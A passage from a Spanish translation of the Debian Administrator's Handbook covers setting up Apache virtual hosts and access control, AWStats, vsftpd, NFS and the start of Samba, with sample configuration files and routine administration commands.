Como en todos los archivos de asociaciónde Postfix, debe convertir este archivo en/etc/postfix/sasl_passwd.db con elprograma postmap.

Page 1234: El Libro Del Administrador de Debian - Raphael Hertzog

11.2. Servidor web(HTTP)Los administradores de Falcot Corpdecidieron utilizar el servidor HTTPApache, cuya versión 2.2.16 estáincluido en Debian Squeeze.

ALTERNATIVA Otros servidores web

Apache es simplemente el servidor webmás conocido (y más utilizado), peroexisten otros; pueden ofrecen mejorrendimiento bajo ciertos tipos de cargapero tienen la desventaja de una menorcantidad de funcionalidad y módulosdisponibles. Sin embargo, cuando el

Page 1235: El Libro Del Administrador de Debian - Raphael Hertzog

servidor web en consideración es paraproveer archivos estáticos o funcionarcomo proxy, vale la pena investigar lasalternativas como nginx y lighttpd.

11.2.1. Instalación deApacheDe forma predeterminada, lainstalación del paquete apache2 haceque también se instale la versiónapache2-mpm-worker de Apache. Elpaquete apache2 es una coraza vacíaque sólo sirve para asegurar que estéinstalada alguna de las versiones deApache.

Page 1236: El Libro Del Administrador de Debian - Raphael Hertzog

Las diferencias entre las variantes deApache 2 se concentran en la políticautilizada para gestionar elprocesamiento en paralelo de muchospedidos; esta política estaimplementada por un MPM(abreviación de módulo demultiprocesamiento: «Multi-ProcessingModule»). Entre los MPMsdisponibles, apache-mpm-workerutiliza hilos (procesos livianos)mientras que apache-mpm-preforkutiliza un conjunto de proceso creadospor adelantado (la forma tradicional yla única disponible en Apache 1.3).apache2-mpm-event también utilizahilos, pero terminan antes, cuando laconexión sólo continúa abierta debido a

Page 1237: El Libro Del Administrador de Debian - Raphael Hertzog

la funcionalidad «keep-alive» deHTTP.

Los administradores de Falcot tambiéninstalan libapache2-mod-php5 paraincluir la compatibilidad con PHP deApache. Esto causa que se elimineapache2-mpm-worker y se instale en sulugar apache2-mpm-prefork ya quePHP sólo funciona bajo ese MPMparticular.

SEGURIDAD Ejecución bajo el usuariowww-data

De forma predeterminada, Apacheadministra todas las peticiones entrantesbajo la identidad del usuario www-data.Esto significa que, en caso de una

Page 1238: El Libro Del Administrador de Debian - Raphael Hertzog

vulnerabilidad de seguridad en un scriptCGI ejecutado por Apache (para unapágina dinámica), no se comprometerátodo el sistema sino sólo los archivos queson propiedad de este usuario enparticular.

Los módulos suexec permiten evitar estalimitación para que algunos scripts CGIejecuten bajo la identidad de otrosusuarios. Puede configurarlo con ladirectiva SuexecUserGroup usuario grupoen la configuración de Apache.

Otra posibilidad es utilizar un MPMdedicado, como el que provee el paqueteapache2-mpm-itk. Este MPM enparticular tiene un comportamientoligeramente diferente: permite «aislar»los servidores virtuales («virtual hosts»)para que cada uno ejecute como un

Page 1239: El Libro Del Administrador de Debian - Raphael Hertzog

usuario diferente. Por lo tanto, unavulnerabilidad en un sitio web no puedecomprometer los archivos que pertenecenal dueño de otro sitio web.

VISTA RÁPIDA Lista de módulos

Puede encontrar la lista completa de losmódulos estándar de Apache en su sitioweb.

→ http://httpd.apache.org/docs/2.2/mod/index.html

Apache es un servidor modular ymucha funcionalidad estáimplementada por módulos externosque el programa principal cargadurante su inicialización. La

Page 1240: El Libro Del Administrador de Debian - Raphael Hertzog

configuración predeterminada sóloactiva los módulos más comunes, peroactivar nuevos módulos es tan simplecomo ejecutar a2enmod módulo;similarmente, podrá desactivar unmódulo ejecutando a2dismod módulo.En realidad, estos programas sólo crean(o eliminan) enlaces simbólicos en/etc/apache2/mods-enabled/ queapuntan a los archivos en sí(almacenados en /etc/apache2/mods-available/).

Con su configuración predeterminada,el servidor web escuchará en el puerto80 (según se encuentra configurado en/etc/apache2/ports.conf) y servirápáginas del directorio /var/www/

Page 1241: El Libro Del Administrador de Debian - Raphael Hertzog

(según se encuentra configurado en/etc/apache2/sites-enabled/000-

default).

YENDO MÁS ALLÁ Compatibilidad conSSL

Apache 2.2, así como viene, incluye elmódulo SSL necesario para HTTP seguro(HTTPS). Sólo necesita activarlo cona2enmod ssl y luego agregar lasdirectivas necesarias a los archivos deconfiguración. Puede encontrar unarchivo de configuración de ejemplo en/usr/share/doc/apache2.2-

common/examples/apache2/extra/httpd-

ssl.conf.gz.

→ http://httpd.apache.org/docs/2.2/mod/mod_ssl.html

Page 1242: El Libro Del Administrador de Debian - Raphael Hertzog

11.2.2. Configuraciónde servidores virtuales(«virtual hosts»)Un servidor virtual es una identidadadicional para el servidor web.

Apache considera dos tipos distintos deservidores virtuales: aquellos basadosen la dirección IP (o puerto) y aquellosbasados en el nombre de dominio delservidor web. El primer métodorequiere reservar una dirección IP (opuerto) diferente para cada sitio,mientras que el segundo puedefuncionar en sólo una dirección IP (y

Page 1243: El Libro Del Administrador de Debian - Raphael Hertzog

puerto) y se diferencian los sitios por elnombre enviado por el cliente HTTP(que sólo funciona en la versión 1.1 delprotocolo HTTP — afortunadamenteesta versión es suficientemente antiguapara que todos los clientes ya loutilicen).

La escasez (creciente) de direccionesIPv4 generalmente favorece el segundométodo; sin embargo, es más complejosi los servidores virtuales tambiénnecesitan proveer HTTPS ya que elprotocolo SSL no siempre se adecuó alos servidores virtuales basados ennombres; no todos los navegadores soncompatibles con la extensión SNI(indicación de nombre de servidor:

Page 1244: El Libro Del Administrador de Debian - Raphael Hertzog

«Server Name Indication») que permiteesta combinación. Cuando varios sitiosHTTPS necesitan ejecutar en el mismoservidor, generalmente se diferenciaránbien por ejecutar en un puerto o en unadirección IP diferente (IPv6 puedeayudar).

La configuración predeterminada deApache 2, activa servidores virtualesbasados en nombre (con la directivaNameVirtualHost *:80 en el archivo/etc/apache2/ports.conf). Además,define un servidor virtualpredeterminado en el archivo/etc/apache2/sites-enabled/000-

defailt; utilizará este servidor virtualsi no se encuentra ningún servidor quecoincida con el pedido enviado por el

Page 1245: El Libro Del Administrador de Debian - Raphael Hertzog

cliente.

PRECAUCIÓN Primer servidor virtual

Los pedidos que involucren un servidorvirtual desconocido siempre serángestionados por el primer servidor virtualdefinido, razón por la que definimos allí awww.falcot.com.

VISTA RÁPIDA Compatibilidad SNI deApache

Comenzando con Debian Squeeze, elservidor Apache es compatible con laextensión del protocolo SSL llamadaindicación de nombre de servidor (SNI:«Server Name Indication»). Estaextensión permite al navegador enviar el

Page 1246: El Libro Del Administrador de Debian - Raphael Hertzog

nombre del servidor web durante elestablecimiento de la conexión SSL,mucho antes del pedido HTTP en sí, loque antes utilizaba para identificar elservidor virtual pedido entre aquellos quese encuentran en el mismo servidor (conla misma dirección IP y puerto). Esto lepermite a Apache seleccionar elcertificado SSL apropiado para quecontinúe la transacción.

Antes de SNI, Apache siempre proveía elcertificado configurado en el servidorvirtual predeterminado. Los clientes queintentaban acceder a otros servidoresvirtuales recibirían advertencias ya que elcertificado que recibieron no coincidíacon el sitio web que estaban intentandoacceder. Afortunadamente, la mayoría delos navegadores ahora utilizan SNI; estoincluye Microsoft Internet Explorer a

Page 1247: El Libro Del Administrador de Debian - Raphael Hertzog

partir de la versión 7.0 (comenzando conVista), Mozilla Firefox desde la versión2.0, Apple Safari desde la versión 3.2.1 ytodas las versiones de Google Chrome.

El paquete Apache provisto por Debian escompilado con la compatibilidad paraSNI; no necesita ninguna configuraciónparticular además de activar losservidores virtuales basados en nombreen el puerto 443 (SSL) además del usualen el puerto 80. Esto es tan simple comoeditar el archivo/etc/apache2/ports.conf para queincluya lo siguiente:

<IfModule mod_ssl.c>

NameVirtualHost *:443

Listen 443

</IfModule>

También debe tener cuidado de asegurar

Page 1248: El Libro Del Administrador de Debian - Raphael Hertzog

que la configuración del primer servidorvirtual (el utilizado de formapredeterminada) tenga TLSv1 activo,debido a que Apache utiliza losparámetros de este primer servidor virtualpara establecer conexiones seguras y¡debería permitirlo!

Luego puede describir cada servidorvirtual adicional con un archivoalmacenado en /etc/apache2/sites-available/. La configuración de unsitio web para el dominio falcot.orges tan simple como crear el siguientearchivo y luego habilitar el servidorvirtual con a2ensite www.falcot.org.

Example 11.16. El archivo

Page 1249: El Libro Del Administrador de Debian - Raphael Hertzog

/etc/apache2/sites-

available/www.falcot.org

<VirtualHost *:80>

ServerName www.falcot.org

ServerAlias falcot.org

DocumentRoot /srv/www/www.falcot.org

</VirtualHost>

El servidor Apache, como estáconfigurado hasta ahora, utiliza losmismos archivos de registro para todoslos servidores virtuales (puedecambiarlo agregando directivasCustomLog en las definiciones deservidores virtuales). Por lo tanto, tienesentido personalizar el formato de estearchivo de registro para incluir elnombre del servidor virtual. Puedehacerlo creando un archivo

Page 1250: El Libro Del Administrador de Debian - Raphael Hertzog

/etc/apache2/conf.d/customlog

que define un nuevo formato para todoslos archivos de registro (con ladirectiva LogFormat). También debeeliminar (o comentar) la líneaCustomLog del archivo/etc/apache2/sites-

available/default.

Example 11.17. El archivo/etc/apache2/conf.d/customlog

# Nuevo formato de registro que incluye el nombre del servidor (virtual)

LogFormat "%v %h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" vhost

# Ahora utilicemos este formato de forma predeterminada

CustomLog /var/log/apache2/access.log vhost

11.2.3. Directivas

Page 1251: El Libro Del Administrador de Debian - Raphael Hertzog

comunesEsta sección revisa brevemente algunasde las directivas de configuración deApache usualmente utilizadas.

El archivo de configuración principalgeneralmente incluye varios bloquesDirectory que permiten diferentescomportamientos del servidordependiendo de la ubicación delarchivo que está proveyendo. Talesbloques usualmente incluyen directivasOptions y AllowOverride.

Example 11.18. Bloque Directory

<Directory /var/www>

Page 1252: El Libro Del Administrador de Debian - Raphael Hertzog

Options Includes FollowSymlinks

AllowOverride All

DirectoryIndex index.php index.html index.htm

</Directory>

La directiva DirectoryIndex contieneuna lista de archivos a intentar cuandoel pedido del cliente es un directorio.El primer archivo de la lista que existaserá utilizado y enviado comorespuesta.

La directiva Options debe seguirse deuna lista de opciones a activar. El valorNone desactiva todas las opciones;correspondientemente, All las activatodas excepto MultiViews. Lasopciones disponibles incluyen:

Page 1253: El Libro Del Administrador de Debian - Raphael Hertzog

ExecCGI indica que puede ejecutarscripts CGI.FollowSymlinks le dice alservidor que puede seguir losenlaces simbólicos y que larespuesta debe contener elcontenido del objetivo de dichosenlaces.SymlinksIfOwnerMatch tambiénle indica al servidor que siga losenlaces simbólicos, pero sólocuando el enlace y su objetivotengan el mismo dueño.Includes activa inclusiones dellado del servidor (SSI: «ServerSide Includes»). Estas directivasse encuentran en las páginasHTML y son ejecutadas en el

Page 1254: El Libro Del Administrador de Debian - Raphael Hertzog

momento de cada pedido.Indexes le indica al servidor queprovea una lista del contenido delos directorios si el pedido HTTPdel cliente apunta a un directoriosin un archivo de índice (es decir,que no existe en él ninguno de losarchivos enumerados en ladirectiva DirectoryIndex).MultiViews activa la negociaciónde contenido; el servidor puedeutilizar esto para proveer unapágina web que utilice el idiomapreferido configurado en elnavegador.

VOLVER A LOS CIMIENTOS Archivo.htaccess

Page 1255: El Libro Del Administrador de Debian - Raphael Hertzog

El archivo .htaccess contiene directivasde configuración de Apache que aplicancada vez que un pedido involucra unelemento del directorio en el que seencuentra este archivo. El alcance deestas directivas también incluye a sussubdirectorios.

La mayoría de las directivas que puedenocurrir en un bloque Directory tambiénson válidas en un archivo .htaccess.

La directiva AllowOverride enumeratodas las opciones que pueden seractivadas o desactivadas en un archivo.htaccess. Un uso común de estaopción es restringir ExecCGI para quelos administradores puedan elegir losusuarios que podrán ejecutar

Page 1256: El Libro Del Administrador de Debian - Raphael Hertzog

programas bajo la identidad delservidor web (el usuario www-data).

11.2.3.1. Autenticaciónobligatoria

En algunas cirucunstancia necesitarárestringir el acceso a partes de un sitioweb, de forma que sólo usuarioslegítimos que provean un nombre deusuario y una contraseña tengan accesoal contenido.

Example 11.19. Archivo .htaccesspara autenticación obligatoria

Require valid-user

AuthName "Private directory"

Page 1257: El Libro Del Administrador de Debian - Raphael Hertzog

AuthType Basic

AuthUserFile /etc/apache2/authfiles/htpasswd-private

SEGURIDAD Sin seguridad

El sistema de autenticación utilizado en elejemplo anterior (Basic) tiene unaseguridad mínima ya que se envía lacontraseña en texto plano (codificadasólamente con base64 que es sólo unacodificación, no un método de cifrado).También debe saber que los documentos«protegidos» por este mecanismo tambiénson enviados sin cifrar a través de la red.Si la seguridad es importante, debe cifrarla conexión HTTP completa con SSL.

El archivo/etc/apache2/authfiles/htpasswd-

private contiene una lista de usuarios

Page 1258: El Libro Del Administrador de Debian - Raphael Hertzog

y contraseñas; usualmente lomanipulará con el programa htpasswd.Por ejemplo, ejecute lo siguiente paraagregar un usuario o cambiar sucontraseña:

# htpasswd /etc/apache2/authfiles/htpasswd-private

New password:

Re-type new password:

Adding password for user usuario

11.2.3.2. Restricción deacceso

Las directivas Allow from y Denyfrom controlan las restricciones deacceso a un directorio (y a sus

Page 1259: El Libro Del Administrador de Debian - Raphael Hertzog

subdirectorios recursivamente).

La directiva Order le indica al servidorel orden en el que aplicar las directivasAllow from y Deny from; la últimaque coincida tiene precedencia. Entérminos concretos, Orderdeny,allow permite acceso si nocoincide ninguna regla Deny from o sicoincide una directiva Allow from. Ala inversa, Order allow,deny rechazael acceso si no coincide ningunadirectiva Allow from (o si coincideuna directiva Deny from).

A las directivas Allow from y Denyfrom le puede seguir una dirección IP,una red (como

Page 1260: El Libro Del Administrador de Debian - Raphael Hertzog

192.168.0.0/255.255.255.0,192.168.0.0/24 o inclusive192.168.0), un nombre de equipo onombre de dominio o la palabra claveall que incluye a todos.

Example 11.20. Rechazar de formapredeterminada pero permitir desdela red local

Order deny,allow

Allow from 192.168.0.0/16

Deny from all

11.2.4. Analizadoresde registros

Page 1261: El Libro Del Administrador de Debian - Raphael Hertzog

Generalmente se instala un analizadorde registros en un servidor web; ya queéste provee a los administradores unaidea precisa sobre los patrones de usodel servidor.

Los administradores de Falcot Corpseleccionaron AWStats (estadísticasweb avanzadas: «Advanced WebStatistics) para analizar sus archivos deregistro de Apache.

El primer paso de configuración escrear el archivo/etc/awstats/awstats.conf. Serecomienda la plantilla/usr/share/doc/awstats/examples/awstats.model.conf.gz

como punto de partida, y losadministradores de Falcot la

Page 1262: El Libro Del Administrador de Debian - Raphael Hertzog

mantuvieron sin cambios a excepciónde los siguientes parámetros:

LogFile="/var/log/apache2/access.log"

LogFormat = "%virtualname %host %other %logname %time1 %methodurl %code %bytesd %refererquot %uaquot"

SiteDomain="www.falcot.com"

HostAliases="falcot.com REGEX[^.*\.falcot\.com$]"

DNSLookup=1

DirData="/var/lib/awstats"

DirIcons="/awstats-icon"

DirLang="/usr/share/awstats/lang"

LoadPlugin="tooltips"

Todos estos parámetros estándocumentados con comentarios en elarchivo de la plantilla. En particular,los parámetros LogFile y LogFormatdescriben la ubicación y el formato delarchivo de registros y la información

Page 1263: El Libro Del Administrador de Debian - Raphael Hertzog

que contiene; SiteDomain yHostAliases enumeran los variosnombres con los que se conocerá elsitio web principal.

En sitios con mucho tráfico, no deberíadefinir DNSLookup como 1; para sitiosmás pequeños, como el de Falcot yadescripto, esta configuración permiteconseguir reportes más legibles queincluyen nombres completos deequipos en lugar de sólo direcciones IP.

SEGURIDAD Acceso a las estadísticas

De forma predeterminada AWStats generaestadísticas disponibles en el sitio web sinrestricciones, pero puede configurarlaspara que sólo unas pocas direcciones IP

Page 1264: El Libro Del Administrador de Debian - Raphael Hertzog

(probablemente internas) puedanaccederlas; necesita definir la lista dedirecciones IP permitidas en el parámetroALlowAccessFromWebToFollowingIPAddresses

AWStats también estará activo paraotros servidores virtuales; cadaservidor virtual necesita su propioarchivo de configuración, como/etc/awstats/awstats.www.falcot.org.conf

Example 11.21. Archivo deconfiguración de AWStats para unservidor virtual

Include "/etc/awstats/awstats.conf"

SiteDomain="www.falcot.org"

HostAliases="falcot.org"

Page 1265: El Libro Del Administrador de Debian - Raphael Hertzog

Esto sólo funcionará si el archivo/etc/awstats/awstats.conf nocontiene ninguna directiva Include, yaque AWStats no puede gestionarinclusiones multinivel;desafortunadamente, el archivo deconfiguración predeterminado queprovee Debian sí contiene estadirectiva.

Para lograr que se tome en cuenta esteservidor virtual, necesita editar elarchivo /etc/cron.d/awstats paraagregar una invocación como lasiguiente: /usr/lib/cgi-bin/awstats.pl -config=www.falcot.org -update

Example 11.22. El archivo/etc/cron.d/awstats

Page 1266: El Libro Del Administrador de Debian - Raphael Hertzog

0,10,20,30,40,50 * * * * www-data [ -x /usr/lib/cgi-bin/awstats.pl -a -f /etc/awstats/awstats.conf -a -r /var/log/apache2/access.log ] && /usr/lib/cgi-bin/awstats.pl -config=awstats -update >/dev/null && /usr/lib/cgi-bin/awstats.pl -config=www.falcot.org -update >/dev/null

AWStats utiliza varios íconosalmacenados en el directorio/usr/share/awstats/icon/. Para queéstos estén disponibles en el sitio web,necesita adaptar la configuración deApache para incluir la siguientedirectiva:

Alias /awstats-icon/ /usr/share/awstats/icon/

Luego de unos minutos (y una vez queel script ejecutó varias veces), losresultados estarán disponibles en elsitio web:

Page 1267: El Libro Del Administrador de Debian - Raphael Hertzog

→ http://www.falcot.com/cgi-bin/awstats.pl→ http://www.falcot.org/cgi-bin/awstats.pl

PRECAUCIÓN Rotación de archivos deregistro

Para que las estadísticas tengan en cuentatodos los registros, AWStats necesitaejecutar justo antes que se roten losarchivos de registro de Apache. Puedelograrlo si agrega una directiva prerotateal archivo /etc/logrotate.d/apache2:

/var/log/apache2/*.log {

weekly

missingok

rotate 52

compress

delaycompress

Page 1268: El Libro Del Administrador de Debian - Raphael Hertzog

notifempty

create 644 root adm

sharedscripts

prerotate

su - www-data -c "/usr/lib/cgi-bin/awstats.pl -config=awstats -update > /dev/null"

su - www-data -c "/usr/lib/cgi-bin/awstats.pl -config=www.falcot.org -update > /dev/null"

endscript

postrotate

if [ -f /var/run/apache2.pid ]; then

/etc/init.d/apache2 restart > /dev/null

fi

endscript

}

Sepa también que los archivos de registrocreados por logrotate necesitan serlegibles por todos, especialmenteAWStats. En el ejemplo anterior, segarantiza esto con la línea create 644root adm.

Page 1269: El Libro Del Administrador de Debian - Raphael Hertzog

11.3. Servidor dearchivos FTPFTP (protocolo de transferencia dearchivos: «File Transfer Protocol») esuno de los primeros protocolos deInternet (¡RFC 959 fue publicado en1985!). Era utilizado para distribuirarchivos antes que naciera la web (secreó el protocolo HTTP en 1990, y suversión 1.0 fue formalmente definidaen el RFC 1945 publicado en 1996).

El protocolo permite tanto subir comodescargar archivos; por esta razón,todavía continúa siendo utilizado para

Page 1270: El Libro Del Administrador de Debian - Raphael Hertzog

desplegar actualizaciones a un sitioweb almacenado por nuestro proveedorde Internet (o cualquier otra entidadque almacene sitios web). En estoscasos, se fuerza el acceso seguro conun identificador de usuario y unacontraseña; si éste es exitoso, elservidor FTP proporciona acceso delectura y escritura al directorio delusuario.

Otros servidores FTP son utilizadosprincipalmente para distribuir archivospara descargar públicamente; lospaquetes Debian son un buen ejemplo.Se obtiene el contenido de estosservidores desde otros servidores,geográficamente remotos; luego éstos

Page 1271: El Libro Del Administrador de Debian - Raphael Hertzog

estarán disponibles para usuariosmenos distantes. Esto significa que nonecesita autenticación del cliente;como consecuencia, se conoce estemodo de operación como «FTPanónimo». Para ser perfectamentecorrecto, los clientes sí se autenticancon el nombre de usuario anonymous(«anónimo»); la contraseña esgeneralmente, por convención, ladirección de correo del usuario, pero elservidor la ignora.

Hay muchos servidores FTPdisponibles en Debian (ftpd, proftpd,wu-ftpd, etc.). Los administradores deFalcot Corp seleccionaron vsftpdporque sólo utilizan el servidor FTP

Page 1272: El Libro Del Administrador de Debian - Raphael Hertzog

para distribuir unos pocos archivos(incluyendo un repositorio de paquetesDebian); como no necesitanfuncionalidades avanzadas, eligieronenfocarse en los aspectos de seguridad.

Instalar el paquete crea un usuario desistema ftp. Siempre se utiliza estacuenta para conexiones FTP anónimas,y su directorio (/home/ftp/) es la raízdel árbol al que tienen acceso losusuarios que se conecten a esteservicio. La configuraciónpredeterminada (en/etc/vsftpd.conf) es muyrestrictiva: únicamente permite accesoanónimo como sólo lectura (ya queestán desactivadas las opciones

Page 1273: El Libro Del Administrador de Debian - Raphael Hertzog

write_enable yanon_upload_enable), y los usuarioslocales no se pueden conectar con sunombre de usuario y contraseña usualespara acceder a sus propios archivos(opción local_enable). Sin embargo,esta configuración predeterminada seadapta correctamente a las necesidadesen Falcot Corp.

Page 1274: El Libro Del Administrador de Debian - Raphael Hertzog

11.4. Servidor dearchivos NFSNFS (sistema de archivos de red:«Network File System») es unprotocolo que permite acceso remoto aun sistema de archivos a través de lared. Todos los sistemas Unix puedentrabajar con este protocolo; cuando seinvolucran sistemas Windows, debeutilizar Samba en su lugar.

NFS es una herramienta muy útil, perodebe tener en cuenta sus limitacionesespecialmente en cuestiones deseguridad: todos los datos pasan a

Page 1275: El Libro Del Administrador de Debian - Raphael Hertzog

través de la red sin cifrar (un snifferpuede interceptarlos); el servidorfuerza restricciones de acceso basadoen la dirección IP del cliente (quepuede ser falsificada); y, finalmente,cuando se provee acceso a una máquinacliente a un espacio NFS compartidomal configurado, el usuario root delcliente puede acceder a todos losarchivos en el espacio compartido (aúnaquellos que pertenezcan a otrosusuarios) ya que el servidor confía enel nombre de usuario que recibe delcliente (esta es una limitación históricadel protocolo).

DOCUMENTACIÓN «HOWTO» de NFS

Page 1276: El Libro Del Administrador de Debian - Raphael Hertzog

El «HOWTO» de NFS está repleto deinformación interesante, inclusivemétodos para optimizar el rendimiento.También describe una forma de asegurarlas transferencias NFS con un túnel SSH;sin embargo, esta técnica impide el uso delockd.

→ http://nfs.sourceforge.net/nfs-howto/

11.4.1. Protección deNFSDebido a que NFS confía en lainformación que recibe de la red, esvital asegurar que sólo las máquinasque deban utilizarlo puedan conectarse

Page 1277: El Libro Del Administrador de Debian - Raphael Hertzog

a los varios servidores RPC necesarios.El firewall también debe bloquearfalseado de IPs («IP spoofing») paraprevenir que una máquina externaactúe como una interna y que el accesoa los puertos apropiados estérestringido a las máquinas que debanacceder a espacios compartidos porNFS.

VOLVER A LOS CIMIENTOS RPC

RPC (llamada a procedimiento remoto:«Remote Procedure Call») es un estándarUnix para servicios remotos. NFS es unode esos servicios.

Los servicios RPC se registran en undirectorio conocido como portmapper

Page 1278: El Libro Del Administrador de Debian - Raphael Hertzog

(«asociador de puertos»). Un cliente quedesee realizar una consulta NFS primerodebe dirigirse al portmapper (en el puerto111, TCP o UDP) y preguntar por elservidor NFS; la respuesta generalmentemencionará el puerto 2049 (elpredeterminado para NFS). No todos losservicios RPC utilizan un puerto fijonecesariamente.

Para que NFS funcione de formaóptima pueden ser necesarios otrosservicios RPC, incluyendorpc.mountd, rpc.statd y lockd. Sinembargo, de forma predeterminadaestos servicios utilizan un puertoaleatorio (asignado por el portmapper),lo que dificulta filtrar el tráfico a los

Page 1279: El Libro Del Administrador de Debian - Raphael Hertzog

mismos. Los administradores de FalcotCorp lograron evitar este problema dela forma descripta a continuación.

Los primeros dos serviciosmencionados anteriormente sonimplementados por programas enespacio de usuario, iniciadosrespectivamente por/etc/init.d/nfs-kernel-server y/etc/init.d/nfs-common. Ambosproveen opciones de configuraciónpara forzar puertos, los archivosrelevantes que debe modificar parasiempre utilizar estas opciones son/etc/default/nfs-kernel-server y/etc/default/nfs-common.

Page 1280: El Libro Del Administrador de Debian - Raphael Hertzog

Example 11.23. El archivo/etc/default/nfs-kernel-server

# Cantidad de servidores a iniciar

RPCNFSDCOUNT=8

# Opciones para rpc.mountd

RPCMOUNTDOPTS="-p 2048"

Example 11.24. El archivo/etc/default/nfs-common

# Opciones para rpc.statd.

# ¿Debería rpc.statd escuchar en un puerto específico?

# En ese caso, defina esta variable como un parámetro de statd como: "--port 1000".

STATDOPTS="-p 2046 -o 2047"

# ¿Está _seguro_ que su núcleo necesita o no un demonio lockd?

# En ese caso, defina esta variable como "yes" o "no".

NEED_LOCKD=

Una vez que realizó estos cambios y

Page 1281: El Libro Del Administrador de Debian - Raphael Hertzog

reinició los servicios, rpc.mountdutilizará el puerto 2048; rpc.statdescuchará en el puerto 2046 y utilizaráel puerto 2047 para conexionessalientes.

El servicio lockd es gestionado por unhilo de núcleo (proceso liviano); estafuncionalidad está compilada como unmódulo en los núcleos Debian. Elmódulo tiene dos opciones quepermiten utilizar siempre el mismopuerto: nlm_udpport y nlm_tcpport.Para que se utilicen siempre estasopciones, debe existir un archivo/etc/modprobe.d/lockd como elsiguiente:

Page 1282: El Libro Del Administrador de Debian - Raphael Hertzog

Example 11.25. El archivo/etc/modprobe.d/lockd

options lockd nlm_udpport=2045 nlm_tcpport=2045

Una vez que están definidos estosparámetros resulta más sencillocontrolar el acceso al servicio NFSdesde el firewall de una formaespecífica filtrando el acceso a lospuertos 111 y desde el 2045 al 2049(tanto UDP como TCP).

11.4.2. Servidor NFSEl servidor NFS es parte del núcleoLinux; en los núcleos que Debianprovee está compilado como un

Page 1283: El Libro Del Administrador de Debian - Raphael Hertzog

módulo de núcleo. Si necesita ejecutarel servidor NFS automáticamente aliniciar, debe instalar el paquete nfs-kernel-server; contiene los scripts deinicio relevantes.

ALTERNATIVA El servidor nfs-user-server

nfs-user-server es un servidor NFS que seejecuta como servidor tradicional, con unprograma en espacio de usuario y no unmódulo del núcleo. Esta versión de NFSes obsoleta en su mayor parte ya queahora el servidor de NFS basado en elnúcleo es maduro y confiable.

El archivo de configuración del

Page 1284: El Libro Del Administrador de Debian - Raphael Hertzog

servidor NFS, /etc/exports, enumeralos directorios que estarán disponiblesen la red (exportados). Para cadaespacio compartido NFS, sólo tendránacceso las máquinas especificadas.Puede obtener un control más detalladocon unas pocas opciones. La sintaxispara este archivo es bastante simple:

/directorio/a/compartir maquina1(opcion1,opcion2,...) maquina2(...) ...

Puede identificar cada máquinamediante su nombre DNS o sudirección IP. También puedeespecificar conjuntos completos demáquinas utilizando una sintaxis como*.falcot.com o un rango dedirecciones IP

Page 1285: El Libro Del Administrador de Debian - Raphael Hertzog

192.168.0.0/255.255.255.0 o192.168.0.0/24.

De forma predeterminada (o si utilizala opción ro), los directorios estándisponibles sólo para lectura. Laopción rw permite acceso de lectura yescritura. Los clientes NFS típicamentese conectan desde un puerto restringidosólo a root (en otras palabras, menor a1024); puede eliminar esta restriccióncon la opción insecure (la opciónsecure es implícita, pero puedehacerla explícita para más claridad).

De forma predeterminada, el servidorsólo responderá consultas NFS cuandose complete la operación actual de

Page 1286: El Libro Del Administrador de Debian - Raphael Hertzog

disco (la opción sync); puededesactivar esto con la opción async.Las escrituras asíncronas aumentaránun poco el rendimiento perodisminuirán la fiabilidad debido alriesgo de pérdida de datos en caso deun cierre inesperado del servidor entreque recibió el pedido de escritura y losdatos sean escritos realmente en eldisco. Debido a que el valorpredeterminado cambió recientemente(comparado con el valor histórico deNFS), se recomienda configurarloexplícitamente.

Para no proveerle acceso de root alsistema de archivos a ningún clienteNFS, el servidor considerará todas las

Page 1287: El Libro Del Administrador de Debian - Raphael Hertzog

consultas que parezcan provenir de unusuario root como si provinieran delusuario anonymous. Estecomportamiento corresponde a laopción root_squash y está activado deforma predeterminada. La opciónno_root_squash, que desactiva estecomportamiento, es riesgosa y sólodebe ser utilizada en entornoscontrolados. Las opcionesanonuid=udi y anongid=gid permitenespecificar otro usuario falso que seráutilizado en lugar de anonymous.

Existen otras opciones disponibles;están documentadas en la página demanual exports(5).

Page 1288: El Libro Del Administrador de Debian - Raphael Hertzog

PRECAUCIÓN Primera instalación

El script de inicio /etc/init.d/nfs-kernel-server sólo inicia el servidor si elarchivo /etc/exports incluye al menosuno o más espacios compartidos NFSválidos. En la configuración inicial, unavez que editó este archivo para quecontenga elementos válidos, deberáiniciar el servidor NFS ejecutando losiguiente:

# /etc/init.d/nfs-kernel-server start

11.4.3. Cliente NFSComo con cualquier otro sistema dearchivos, incorporar un espacio

Page 1289: El Libro Del Administrador de Debian - Raphael Hertzog

compartido NFS en el jerarquía delsistema es necesario montarlo. Debidoa que este sistema de archivos tiene suspeculiaridades fueron necesarios unospocos ajustes en la sintaxis de mount yen el archivo /etc/fstab.

Example 11.26. Montaje manual conel programa mount

# mount -t nfs -o rw,nosuid arrakis.interne.falcot.com:/srv/shared /shared

Example 11.27. Elemento NFS en elarchivo /etc/fstab

arrakis.interne.falcot.com:/srv/shared /shared nfs rw,nosuid 0 0

El elemento descripto monta, al iniciarel sistema, el directorio NFS/srv/shared/ en el servidor arrakis

Page 1290: El Libro Del Administrador de Debian - Raphael Hertzog

en el directorio local /shared/.Necesita acceso de lectura y escritura(de allí el parámetro rw). La opciónnosuid es una medida de protecciónque elimina cualquier bit setuid osetgid de los programas almacenadosen el espacio compartido. Si el espaciocompartido NFS está destinado sólo aalmacenar documentos, también serecomienda utilizar la opción noexecque evita la ejecución de programasalmacenados en el espacio compartido.

La página de manual nfs(5) describetodas las opciones con algo de detalle.

Page 1291: El Libro Del Administrador de Debian - Raphael Hertzog

11.5. Configuraciónde espacioscompartidosWindows conSambaSamba es un conjunto de herramientasque administran el protocolo SMB(ahora llamado «CIFS») en Linux.Windows utiliza este protocolo paraespacios compartidos de red eimpresoras compartidas.

Page 1292: El Libro Del Administrador de Debian - Raphael Hertzog

Samba también puede actuar como uncontrolador de dominio NT. Esta es unaherramienta sobresaliente paraasegurar una integración perfecta entreservidores Linux y las máquinas deescritorios en las oficinas que todavíautilizan Windows.

11.5.1. ServidorSambaEl paquete samba contiene los dosservidores principales de Samba 3:smbd y nmbd.

HERRAMIENTA Administración de

Page 1293: El Libro Del Administrador de Debian - Raphael Hertzog

Samba con SWAT

SWAT (herramienta web deadministración de Samb: «Samba WebAdministration Tool») es una interfazweb que permite configurar el servicioSamba. Debido a que el paquete swat noactiva su interfaz de configuración deforma predeterminada, debe activarlamanualmente con update-inetd --enableswat.

